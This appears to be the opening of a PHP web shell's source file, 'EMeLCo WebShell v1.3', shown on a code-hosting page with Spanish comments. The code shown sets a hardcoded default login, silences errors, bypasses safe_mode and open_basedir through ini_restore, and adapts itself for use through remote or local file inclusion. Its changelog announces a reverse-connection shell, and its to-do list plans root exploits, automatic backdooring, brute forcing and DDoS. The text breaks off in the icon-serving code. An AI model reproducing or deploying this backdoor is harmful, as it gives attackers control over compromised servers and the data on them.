PageRenderTime 58ms CodeModel.GetById 21ms RepoModel.GetById 1ms app.codeStats 0ms

/emelco-1.3.php

http://emelco.googlecode.com/
PHP | 916 lines | 819 code | 12 blank | 85 comment | 9 complexity | cbf37232a545852714f3daffa1a9e83b MD5 | raw file
    

  1. <?php
    2. 

  2. /*
    3. 

  3.                    ::::::::::   :::   :::   :::::::::: :::        ::::::::   :::::::: 
    4. 

  4.                   :+:         :+:+: :+:+:  :+:        :+:       :+:    :+: :+:    :+: 
    5. 

  5.                  +:+        +:+ +:+:+ +:+ +:+        +:+       +:+        +:+    +:+  
    6. 

  6.                 +#++:++#   +#+  +:+  +#+ +#++:++#   +#+       +#+        +#+    +:+   
    7. 

  7.                +#+        +#+       +#+ +#+        +#+       +#+        +#+    +#+    
    8. 

  8.               #+#        #+#       #+# #+#        #+#       #+#    #+# #+#    #+#     
    9. 

  9.              ########## ###       ### ########## ########## ########   ########       
    10. 

  10.          :::       ::: :::::::::: :::::::::   ::::::::  :::    ::: :::::::::: :::        :::  
    11. 

  11.         :+:       :+: :+:        :+:    :+: :+:    :+: :+:    :+: :+:        :+:        :+:   
    12. 

  12.        +:+       +:+ +:+        +:+    +:+ +:+        +:+    +:+ +:+        +:+        +:+    
    13. 

  13.       +#+  +:+  +#+ +#++:++#   +#++:++#+  +#++:++#++ +#++:++#++ +#++:++#   +#+        +#+     
    14. 

  14.      +#+ +#+#+ +#+ +#+        +#+    +#+        +#+ +#+    +#+ +#+        +#+        +#+      
    15. 

  15.      #+#+# #+#+#  #+#        #+#    #+# #+#    #+# #+#    #+# #+#        #+#        #+#       
    16. 

  16.      ###   ###   ########## #########   ########  ###    ### ########## ########## ########## 
    17. 

    18. 

  18.   EMelCo PHP WebShell v1.3
    19. 

  19.   Escrita por >> s E t H <<
    20. 

  20.   seth (at) el-hacker (dot) org
    21. 

  21.   http://code.google.com/p/emelco/
    22. 

  22.   http://emelco.66ghz.com/lists/
    23. 

  23.   
    24. 

  24.   http://elrincondeseth.wordpress.com/
    25. 

  25.   http://foro.undersecurity.net/
    26. 

  26.   http://0verl0ad.blogspot.com/
    27. 

  27.   
    28. 

  28.   
    29. 

  29.   Copyright (c) 2009 2010, EMeLCo
    30. 

  30.   All rights reserved.
    31. 

  31.  
    32. 

  32.   Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
    33. 

  33.  
    34. 

  34.       * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    35. 

  35.       * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
    36. 

  36.       * Neither the name of the authors nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
    37. 

    38. 

  38.   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    39. 

  39.  
    40. 

  40.   Changelog:
    41. 

  41.   1.3
    42. 

  42.     [!] Si phpinfo() está desactivado, da un error en w=phpinfo
    43. 

  43.     [+] Muestra los modulos cargados en w=info
    44. 

  44.     [!] Solucionado un error muy chico en w=editar, que mostraba todo seguido sin un salto de linea
    45. 

  45.     [!] Si en w=editar se envia el formulario con enter, se vuelve a mostrar el mismo texto pero no se guarda nada. Antes era como apretar guardar
    46. 

  46.     [+] Al subir archivos, ahora intenta usar move_uploaded_file(), leerarchivo() y escribirarchivo()
    47. 

  47.     [+] leerarchivo() ahora llama a cat "$archivo"
    48. 

  48.     [+] Muestra un div lateral con información importante
    49. 

  49.     [+] Agregada shell de conexion inversa
    50. 

  50.     [+] Agregados los links del menu en una linea abajo
    51. 

  51.     [+] Muestra el tamańo de los archivos en el navegador
    52. 

  52.     [+] La función shell() usa proc_open() y pcntl_exec()
    53. 

  53.     [!] Optimizada la función guardar()
    54. 

  54.     [+] El navegador de archivos permite copiar y mover archivos/directorios
    55. 

    56. 

  56.     
    57. 

  57.    ToDo:
    58. 

  58.    [!] Eliminar los mensajes de: "No se puede leer /var/log/messages porque supera los 50000 bytes", o ponerlos como link
    59. 

  59.    [+] Agregar rootexploits
    60. 

  60.    [+] Agregar exploits de php
    61. 

  61.    [+] Agregar backdoorizacion automática
    62. 

  62.    [+] Agregar descripciones en los textarea e input--> onfocus="this.value=''; this.onfocus=null;"
    63. 

  63.    [!] Mejorar las funciones para leer y escribir archivos
    64. 

  64.    [+] Agregar brute force de ssh
    65. 

  65.    [+] Agregar brute force de ftp
    66. 

  66.    [+] Agregar brute force de mysql
    67. 

  67.    [+] Agregar navegador de sql
    68. 

  68.    [+] Enviar muchos emails de un saque
    69. 

  69.    [+] DDoS ?
    70. 

  70.    [+] Poner todas las imágenes en un solo archivo y mostrarlas con css para ahorrar peticiones
    71. 

  71.    [+] Usar ajax
    72. 

  72.    [+] Agregar comandos de la WSO, r57 y las variaciones de c99
    73. 

  73.    [+] Poner el css como las imagenes, en una peticion aparte y poner una version oscura
    74. 

  74.    [+] Agregar un reverse dns como el de US dentro de la shell
    75. 

  75. */
    76. 

  76. 

  77. //Usuario (Dejalo vacio para que no pida clave):
    78. 

  78. $nombre_usuario = 'seth';
    79. 

  79. //hash sha1 de la clave
    80. 

  80. $clave_usuario = 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'; //"EMeLCo"
    81. 

  81. 

  82. //Cambia esto para usar la shell con LFI
    83. 

  83. //$rfiurl = "?page=../../../error_log&";
    84. 

  84. $rfiurl = false;
    85. 

  85. 

  86. error_reporting(0); //final
    87. 

  87. //error_reporting(E_ALL); //desarrollo
    88. 

  88. 

  89. /**/ 
    90. 

  90. 

  91. // http://securityreason.com/achievement_securityalert/42
    92. 

  92. if(strtolower(ini_get('safe_mode'))=='on'){
    93. 

  93.     ini_restore('safe_mode');
    94. 

  94. }
    95. 

  95. if($_COOKIE['openBasedirBypass']=='true'){
    96. 

  96.     ini_restore('open_basedir');
    97. 

  97. }
    98. 

  98. 

  99. set_time_limit(0);
    100. 

  100. ini_set('memory_limit', -1);
    101. 

  101. 

  102. $nombre = 'EMeLCo WebShell v1.3';
    103. 

  103. 

  104. // de php.net para contrarrestar magic_quotes_gpc
    105. 

  105. if (get_magic_quotes_gpc()) {
    106. 

  106.     function stripslashes_deep($value)
    107. 

  107.     {
    108. 

  108.         $value = is_array($value) ?
    109. 

  109.                     array_map('stripslashes_deep', $value) :
    110. 

  110.                     stripslashes($value);
    111. 

  111.         
    112. 

  112.         return $value;
    113. 

  113.     }
    114. 

  114. 

  115.     $_POST = array_map('stripslashes_deep', $_POST);
    116. 

  116.     $_GET = array_map('stripslashes_deep', $_GET);
    117. 

  117.     $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    118. 

  118.     $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
    119. 

  119. }
    120. 

  120. 

  121. //Parcheamos la url para que ande con RFI
    122. 

  122. if (!$rfiurl){
    123. 

  123.     $rfiurl = '?';
    124. 

  124.     $include = '&';
    125. 

  125.     foreach (explode('&',getenv('QUERY_STRING')) as $v) {
    126. 

  126.         $v = explode('=',$v);
    127. 

  127.         $name = urldecode($v[0]);
    128. 

  128.         $value = urldecode($v[1]);
    129. 

  129.         foreach (array('http://','https://','ssl://','ftp://','\\') as $needle) { 
    130. 

  130.             if (strpos($value,$needle) === 0) {
    131. 

  131.                 $rfiurl .= urlencode($name)."=".urlencode($value)."&";}
    132. 

  132.         }
    133. 

  133.     }  
    134. 

  134.     unset($v);
    135. 

  135.     unset($name);
    136. 

  136.     unset($value);
    137. 

  137. }
    138. 

  138. $rfiurl = htmlentities($rfiurl);
    139. 

  139. 

  140. 

  141. if (isset($nombre_usuario) and ($nombre_usuario != '')){ //si tiene clave
    142. 

  142.     if ( ($_COOKIE['u'] != $nombre_usuario) or ($_COOKIE['c'] != $clave_usuario) ){ //si no está logueado muestra un formulario que pide la clave
    143. 

  143.         echo'
    144. 

  144.             <html><head><script>
    145. 

  145.                 function createCookie(name,value,days) {
    146. 

  146.                     if (days) {
    147. 

  147.                         var date = new Date();
    148. 

  148.                         date.setTime(date.getTime()+(days*24*60*60*1000));
    149. 

  149.                         var expires = "; expires="+date.toGMTString();
    150. 

  150.                     }
    151. 

  151.                     else var expires = "";
    152. 

  152.                     document.cookie = name+"="+value+expires+"; path=/";
    153. 

  153.                 }                    
    154. 

  154.                 function saveIt() {
    155. 

  155.                     var x = document.forms["f"].u.value;
    156. 

  156.                     createCookie("u",x,7);
    157. 

  157.                     var x = document.forms["f"].c.value;
    158. 

  158.                     createCookie("c",sha1(x),7);
    159. 

  159.                     document.reload();
    160. 

  160.                 }
    161. 

  161.                 '.base64_decode('ZnVuY3Rpb24gdXRmOF9lbmNvZGUgKCBhcmdTdHJpbmcgKSB7DQogICAgLy8gaHR0cDovL2tldmluLnZhbnpvbm5ldmVsZC5uZXQNCiAgICAvLyArICAgb3JpZ2luYWwgYnk6IFdlYnRvb2xraXQuaW5mbyAoaHR0cDovL3d3dy53ZWJ0b29sa2l0LmluZm8vKQ0KICAgIC8vICsgICBpbXByb3ZlZCBieTogS2V2aW4gdmFuIFpvbm5ldmVsZCAoaHR0cDovL2tldmluLnZhbnpvbm5ldmVsZC5uZXQpDQogICAgLy8gKyAgIGltcHJvdmVkIGJ5OiBzb3diZXJyeQ0KICAgIC8vICsgICAgdHdlYWtlZCBieTogSmFjaw0KICAgIC8vICsgICBidWdmaXhlZCBieTogT25ubyBNYXJzbWFuDQogICAgLy8gKyAgIGltcHJvdmVkIGJ5OiBZdmVzIFN1Y2FldA0KICAgIC8vICsgICBidWdmaXhlZCBieTogT25ubyBNYXJzbWFuDQogICAgLy8gKyAgIGJ1Z2ZpeGVkIGJ5OiBVbHJpY2gNCiAgICAvLyAqICAgICBleGFtcGxlIDE6IHV0ZjhfZW5jb2RlKCdLZXZpbiB2YW4gWm9ubmV2ZWxkJyk7DQogICAgLy8gKiAgICAgcmV0dXJucyAxOiAnS2V2aW4gdmFuIFpvbm5ldmVsZCcNCiANCiAgICB2YXIgc3RyaW5nID0gKGFyZ1N0cmluZysnJyk7IC8vIC5yZXBsYWNlKC9cclxuL2csICJcbiIpLnJlcGxhY2UoL1xyL2csICJcbiIpOw0KIA0KICAgIHZhciB1dGZ0ZXh0ID0gIiI7DQogICAgdmFyIHN0YXJ0LCBlbmQ7DQogICAgdmFyIHN0cmluZ2wgPSAwOw0KIA0KICAgIHN0YXJ0ID0gZW5kID0gMDsNCiAgICBzdHJpbmdsID0gc3RyaW5nLmxlbmd0aDsNCiAgICBmb3IgKHZhciBuID0gMDsgbiA8IHN0cmluZ2w7IG4rKykgew0KICAgICAgICB2YXIgYzEgPSBzdHJpbmcuY2hhckNvZGVBdChuKTsNCiAgICAgICAgdmFyIGVuYyA9IG51bGw7DQogDQogICAgICAgIGlmIChjMSA8IDEyOCkgew0KICAgICAgICAgICAgZW5kKys7DQogICAgICAgIH0gZWxzZSBpZiAoYzEgPiAxMjcgJiYgYzEgPCAyMDQ4KSB7DQogICAgICAgICAgICBlbmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSA+PiA2KSB8IDE5MikgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSAmIDYzKSB8IDEyOCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlbmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSA+PiAxMikgfCAyMjQpICsgU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMxID4+IDYpICYgNjMpIHwgMTI4KSArIFN0cmluZy5mcm9tQ2hhckNvZGUoKGMxICYgNjMpIHwgMTI4KTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZW5jICE9PSBudWxsKSB7DQogICAgICAgICAgICBpZiAoZW5kID4gc3RhcnQpIHsNCiAgICAgICAgICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIGVuZCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB1dGZ0ZXh0ICs9IGVuYzsNCiAgICAgICAgICAgIHN0YXJ0ID0gZW5kID0gbisxOw0KICAgICAgICB9DQogICAgfQ0KIA0KICAgIGlmIChlbmQgPiBzdGFydCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IHN0cmluZy5zdWJzdHJpbmcoc3RhcnQsIHN0cmluZy5sZW5ndGgpOw0KICAgIH0NCiANCiAgICByZXR1cm4gdXRmdGV4dDsNCn0=').base64_decode('ZnVuY3Rpb24gc2hhMSAoc3RyKSB7DQoNCiAgICAvLyBodHRwOi8va2V2aW4udmFuem9ubmV2ZWxkLm5ldA0KDQogICAgLy8gKyAgIG9yaWdpbmFsIGJ5OiBXZWJ0b29sa2l0LmluZm8gKGh0dHA6Ly93d3cud2VidG9vbGtpdC5pbmZvLykNCg0KICAgIC8vICsgbmFtZXNwYWNlZCBieTogTWljaGFlbCBXaGl0ZSAoaHR0cDovL2dldHNwcmluay5jb20pDQoNCiAgICAvLyArICAgICAgaW5wdXQgYnk6IEJyZXR0IFphbWlyIChodHRwOi8vYnJldHQtemFtaXIubWUpDQoNCiAgICAvLyArICAgaW1wcm92ZWQgYnk6IEtldmluIHZhbiBab25uZXZlbGQgKGh0dHA6Ly9rZXZpbi52YW56b25uZXZlbGQubmV0KQ0KDQogICAgLy8gLSAgICBkZXBlbmRzIG9uOiB1dGY4X2VuY29kZQ0KDQogICAgLy8gKiAgICAgZXhhbXBsZSAxOiBzaGExKCdLZXZpbiB2YW4gWm9ubmV2ZWxkJyk7DQoNCiAgICAvLyAqICAgICByZXR1cm5zIDE6ICc1NDkxNmQyZTYyZjY1YjNhZmE2ZTE5MmU2YTYwMWNkYmU1Y2I1ODk3Jw0KDQogDQoNCiAgICB2YXIgcm90YXRlX2xlZnQgPSBmdW5jdGlvbiAobixzKSB7DQoNCiAgICAgICAgdmFyIHQ0ID0gKCBuPDxzICkgfCAobj4+PigzMi1zKSk7DQoNCiAgICAgICAgcmV0dXJuIHQ0Ow0KDQogICAgfTsNCg0KIA0KDQogICAgLyp2YXIgbHNiX2hleCA9IGZ1bmN0aW9uICh2YWwpIHsgLy8gTm90IGluIHVzZTsgbmVlZGVkPw0KDQogICAgICAgIHZhciBzdHI9IiI7DQoNCiAgICAgICAgdmFyIGk7DQoNCiAgICAgICAgdmFyIHZoOw0KDQogICAgICAgIHZhciB2bDsNCg0KIA0KDQogICAgICAgIGZvciAoIGk9MDsgaTw9NjsgaSs9MiApIHsNCg0KICAgICAgICAgICAgdmggPSAodmFsPj4+KGkqNCs0KSkmMHgwZjsNCg0KICAgICAgICAgICAgdmwgPSAodmFsPj4+KGkqNCkpJjB4MGY7DQoNCiAgICAgICAgICAgIHN0ciArPSB2aC50b1N0cmluZygxNikgKyB2bC50b1N0cmluZygxNik7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiBzdHI7DQoNCiAgICB9OyovDQoNCiANCg0KICAgIHZhciBjdnRfaGV4ID0gZnVuY3Rpb24gKHZhbCkgew0KDQogICAgICAgIHZhciBzdHI9IiI7DQoNCiAgICAgICAgdmFyIGk7DQoNCiAgICAgICAgdmFyIHY7DQoNCiANCg0KICAgICAgICBmb3IgKGk9NzsgaT49MDsgaS0tKSB7DQoNCiAgICAgICAgICAgIHYgPSAodmFsPj4+KGkqNCkpJjB4MGY7DQoNCiAgICAgICAgICAgIHN0ciArPSB2LnRvU3RyaW5nKDE2KTsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuIHN0cjsNCg0KICAgIH07DQoNCiANCg0KICAgIHZhciBibG9ja3N0YXJ0Ow0KDQogICAgdmFyIGksIGo7DQoNCiAgICB2YXIgVyA9IG5ldyBBcnJheSg4MCk7DQoNCiAgICB2YXIgSDAgPSAweDY3NDUyMzAxOw0KDQogICAgdmFyIEgxID0gMHhFRkNEQUI4OTsNCg0KICAgIHZhciBIMiA9IDB4OThCQURDRkU7DQoNCiAgICB2YXIgSDMgPSAweDEwMzI1NDc2Ow0KDQogICAgdmFyIEg0ID0gMHhDM0QyRTFGMDsNCg0KICAgIHZhciBBLCBCLCBDLCBELCBFOw0KDQogICAgdmFyIHRlbXA7DQoNCiANCg0KICAgIHN0ciA9IHRoaXMudXRmOF9lbmNvZGUoc3RyKTsNCg0KICAgIHZhciBzdHJfbGVuID0gc3RyLmxlbmd0aDsNCg0KIA0KDQogICAgdmFyIHdvcmRfYXJyYXkgPSBbXTsNCg0KICAgIGZvciAoaT0wOyBpPHN0cl9sZW4tMzsgaSs9NCkgew0KDQogICAgICAgIGogPSBzdHIuY2hhckNvZGVBdChpKTw8MjQgfCBzdHIuY2hhckNvZGVBdChpKzEpPDwxNiB8DQoNCiAgICAgICAgc3RyLmNoYXJDb2RlQXQoaSsyKTw8OCB8IHN0ci5jaGFyQ29kZUF0KGkrMyk7DQoNCiAgICAgICAgd29yZF9hcnJheS5wdXNoKCBqICk7DQoNCiAgICB9DQoNCiANCg0KICAgIHN3aXRjaCAoc3RyX2xlbiAlIDQpIHsNCg0KICAgICAgICBjYXNlIDA6DQoNCiAgICAgICAgICAgIGkgPSAweDA4MDAwMDAwMDsNCg0KICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlIDE6DQoNCiAgICAgICAgICAgIGkgPSBzdHIuY2hhckNvZGVBdChzdHJfbGVuLTEpPDwyNCB8IDB4MDgwMDAwMDsNCg0KICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlIDI6DQoNCiAgICAgICAgICAgIGkgPSBzdHIuY2hhckNvZGVBdChzdHJfbGVuLTIpPDwyNCB8IHN0ci5jaGFyQ29kZUF0KHN0cl9sZW4tMSk8PDE2IHwgMHgwODAwMDsNCg0KICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlIDM6DQoNCiAgICAgICAgICAgIGkgPSBzdHIuY2hhckNvZGVBdChzdHJfbGVuLTMpPDwyNCB8IHN0ci5jaGFyQ29kZUF0KHN0cl9sZW4tMik8PDE2IHwgc3RyLmNoYXJDb2RlQXQoc3RyX2xlbi0xKTw8OCAgICB8IDB4ODA7DQoNCiAgICAgICAgYnJlYWs7DQoNCiAgICB9DQoNCiANCg0KICAgIHdvcmRfYXJyYXkucHVzaCggaSApOw0KDQogDQoNCiAgICB3aGlsZSAoKHdvcmRfYXJyYXkubGVuZ3RoICUgMTYpICE9IDE0ICkge3dvcmRfYXJyYXkucHVzaCggMCApO30NCg0KIA0KDQogICAgd29yZF9hcnJheS5wdXNoKCBzdHJfbGVuPj4+MjkgKTsNCg0KICAgIHdvcmRfYXJyYXkucHVzaCggKHN0cl9sZW48PDMpJjB4MGZmZmZmZmZmICk7DQoNCiANCg0KICAgIGZvciAoIGJsb2Nrc3RhcnQ9MDsgYmxvY2tzdGFydDx3b3JkX2FycmF5Lmxlbmd0aDsgYmxvY2tzdGFydCs9MTYgKSB7DQoNCiAgICAgICAgZm9yIChpPTA7IGk8MTY7IGkrKykge1dbaV0gPSB3b3JkX2FycmF5W2Jsb2Nrc3RhcnQraV07fQ0KDQogICAgICAgIGZvciAoaT0xNjsgaTw9Nzk7IGkrKykge1dbaV0gPSByb3RhdGVfbGVmdChXW2ktM10gXiBXW2ktOF0gXiBXW2ktMTRdIF4gV1tpLTE2XSwgMSk7fQ0KDQogDQoNCiANCg0KICAgICAgICBBID0gSDA7DQoNCiAgICAgICAgQiA9IEgxOw0KDQogICAgICAgIEMgPSBIMjsNCg0KICAgICAgICBEID0gSDM7DQoNCiAgICAgICAgRSA9IEg0Ow0KDQogDQoNCiAgICAgICAgZm9yIChpPSAwOyBpPD0xOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArICgoQiZDKSB8ICh+QiZEKSkgKyBFICsgV1tpXSArIDB4NUE4Mjc5OTkpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgZm9yIChpPTIwOyBpPD0zOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArIChCIF4gQyBeIEQpICsgRSArIFdbaV0gKyAweDZFRDlFQkExKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgICAgICBFID0gRDsNCg0KICAgICAgICAgICAgRCA9IEM7DQoNCiAgICAgICAgICAgIEMgPSByb3RhdGVfbGVmdChCLDMwKTsNCg0KICAgICAgICAgICAgQiA9IEE7DQoNCiAgICAgICAgICAgIEEgPSB0ZW1wOw0KDQogICAgICAgIH0NCg0KIA0KDQogICAgICAgIGZvciAoaT00MDsgaTw9NTk7IGkrKykgew0KDQogICAgICAgICAgICB0ZW1wID0gKHJvdGF0ZV9sZWZ0KEEsNSkgKyAoKEImQykgfCAoQiZEKSB8IChDJkQpKSArIEUgKyBXW2ldICsgMHg4RjFCQkNEQykgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICAgICAgRSA9IEQ7DQoNCiAgICAgICAgICAgIEQgPSBDOw0KDQogICAgICAgICAgICBDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoNCiAgICAgICAgICAgIEIgPSBBOw0KDQogICAgICAgICAgICBBID0gdGVtcDsNCg0KICAgICAgICB9DQoNCiANCg0KICAgICAgICBmb3IgKGk9NjA7IGk8PTc5OyBpKyspIHsNCg0KICAgICAgICAgICAgdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKEIgXiBDIF4gRCkgKyBFICsgV1tpXSArIDB4Q0E2MkMxRDYpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgSDAgPSAoSDAgKyBBKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEgxID0gKEgxICsgQikgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICBIMiA9IChIMiArIEMpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgSDMgPSAoSDMgKyBEKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEg0ID0gKEg0ICsgRSkgJiAweDBmZmZmZmZmZjsNCg0KICAgIH0NCg0KIA0KDQogICAgdGVtcCA9IGN2dF9oZXgoSDApICsgY3Z0X2hleChIMSkgKyBjdnRfaGV4KEgyKSArIGN2dF9oZXgoSDMpICsgY3Z0X2hleChINCk7DQoNCiAgICByZXR1cm4gdGVtcC50b0xvd2VyQ2FzZSgpOw0KDQp9').'
    162. 

  162.             </script></head><body>';
    163. 

  163.                 if($clave_usuario == 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'){
    164. 

  164.                     echo '<div style="font-weight: bold; color: #CD2626;">&iexcl;ATENCI&Oacute;N, no se cambi&oacute; la clave por defecto!</div><br>';
    165. 

  165.                 }                
    166. 

  166.             echo '<form name="f" action="'.$rfiurl.'" method="POST">
    167. 

  167.                 Usuario: <input name="u" type="text"><br>Clave: <input name="c" type="password"><br><input type="submit" value="Entrar" onclick="saveIt()">
    168. 

  168.             </form></body></html>
    169. 

  169.         ';
    170. 

  170.         die();
    171. 

  171.     }
    172. 

  172. }
    173. 

  173. 

  174. // Con esto mostramos las imagenes. Va arriba porque no se puede mandar nada antes
    175. 

  175. if ($_GET['w']=='img'){
    176. 

  176.     Header('Content-type: image/gif');
    177. 

  177.     if($_GET['imagen']=='carpeta'){
    178. 

  178.         die(base64_decode('R0lGODlhEAAQAMQfAOvGUf7ztuvPMf/78/fkl/Pbg+u8Rvjqteu2Pf3zxPz36Pz0z+vTmPzurPvuw/npofbjquvNefHVduuyN+uuMu3Oafbgjfnqvf/3zv/3xevPi+vRjP/20/bmsP///////yH5BAEAAB8ALAAAAAAQABAAAAV24CeOZGmepqeqqOgxjBZFa+19r4ftWQUAgqDgltthMshMIJAZ4jYDHsBARSAmFOJvq+g6HIdEFgcYmBWNxoNAsDjGHgBnmV5bCoUDHLBIq9sFEhIdcAYJdYASFRUQhQkLCwkOFwcdEBAXhVabE52ecDahKy0oIQA7'));
    179. 

  179.     }elseif($_GET['imagen']=="ejecutable"){
    180. 

  180.         die(base64_decode('R0lGODlhEAAQAMQfAESUKF/CPoXZVn3VUihXGGXGQU6qL/b79HHNSdTvyy9nHD6HJnfRTYDWVI7eXIrcWonbWXrTT0mhLGnJRG3LRyVPFnTPSzZ0Ib3mr460gLLiocXpuCNMFez46P///////yH5BAEAAB8ALAAAAAAQABAAAAWJ4Pd5ZGl6ougZbCtJALCgo5EdXa53h3ahq4PD8YAIGoMII6EAGjpEoyDJsGwIzk5R4GkoLYgrUNKRkqoIyqYy7giOpfRkDVx0kBESZVIoaDh1HVQeCBN8AX9AFx1faX0BiIAjCgdoewWQARiSHgoZCRuhGxqkGBmSIwQVqxytrqgqJycptLW2HyEAOw=='));
    181. 

  181.     }elseif($_GET['imagen']=="enlace"){
    182. 

  182.         die(base64_decode('R0lGODlhEAAQANUkAHBwcMXFxaioqJqamtHR0XNzc6SkpJeXl6CgoNXV1ZiYmHd3d8fHx6Kioo2NjZubm6GhoX9/f4qKipSUlKenp5CQkJOTk6Ojo3t7e6WlpZ2dnX19fZ+fn4SEhHJycn5+foWFhZ6entra2v///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACQALAAAAAAQABAAAAZmQJJwSCwaj0jSaMlMjgSUjAGCGB2fI1GCwAg8rEKmYGRAcAYKRWDCHIXe78vyAH8vRXg8SBjJ45cggYEDSwUAh4dtDSMHFRIdHxgBC01hGllbXR5gRSMWDiAbCwWcRm1LSamqq6pBADs='));
    183. 

  183.     }elseif($_GET['imagen']=="flechad"){
    184. 

  184.         die(base64_decode('R0lGODlhEAAQALMLAJLNXpDEaZPNX4/NU5bUWJnXWpDNVIvFWXyuWmOPRf///////wAAAAAAAAAAAAAAACH5BAEAAAsALAAAAAAQABAAAAQvcMlJq704Z6U0VUm3cWC4JWgCmBc4GESxihUIAIGAsHWaHLwaCUU7FUeepHJpiQAAOw=='));
    185. 

  185.     }elseif($_GET['imagen']=="archivo"){
    186. 

  186.         die(base64_decode('R0lGODlhEAAQAMQfAMfj/uzx9rvc/eXt9YivyHaXtFdwkZXK/KvU+0lVa/L2+rba/KTR+4m77FJhe67T5UNLXNXn8MDf/bHX/JrA1qjL3t7n7ykxQz5FVeLp8LDR48vM0Z7O+9Xb5P///////yH5BAEAAB8ALAAAAAAQABAAAAWPoCeO5PidXvRoFUURRCEXHvpEQ5DrQ98YNY9mACgWJUhF4yeqKIwApECgqDpElOdRulhMFFdPdisRdCcIsIjwlJon6HRireB6EQgGYzD3FAJccXocAxAif1N3eQwcHBmGfgFmd4MHBxYYhwpveIwclgGZHgYdCjwZqBkWARsXhwawDg4JCRAQGBgXYSW8JCEAOw=='));
    187. 

  187.     }elseif($_GET['imagen']=="descargar"){
    188. 

  188.         die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtJrM++vx9+Xt9YivyKTR+8fj/ldwkUlVa73e/dXb5PH1+mGNRPDx8bPY/Im77H6xW1Jhe7TR4ENLXNXn8PX4+vv7+5rA1qjL3uDo7ykxQz5FVWOPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWWoCeO5PidXjVNGYYVRSAHHjpVxJDrRA8hNc+EcCgWFUgG5CfKWIydaEfBqEpEmGexA4h0HmDG1ZOFdr/hcYFxkAIAUgMjIVorLtw3oHExEOgeAQNJHRERDQ4GfhQigkgPDg2IBgICGoyBg2CQiZWWHI0WCpuKlJUOoB4ICww8BBqwGg4TG40ItxISCQkUFBwcG2MlwyQhADs='));
    189. 

  189.     }elseif($_GET['imagen']=="editar"){
    190. 

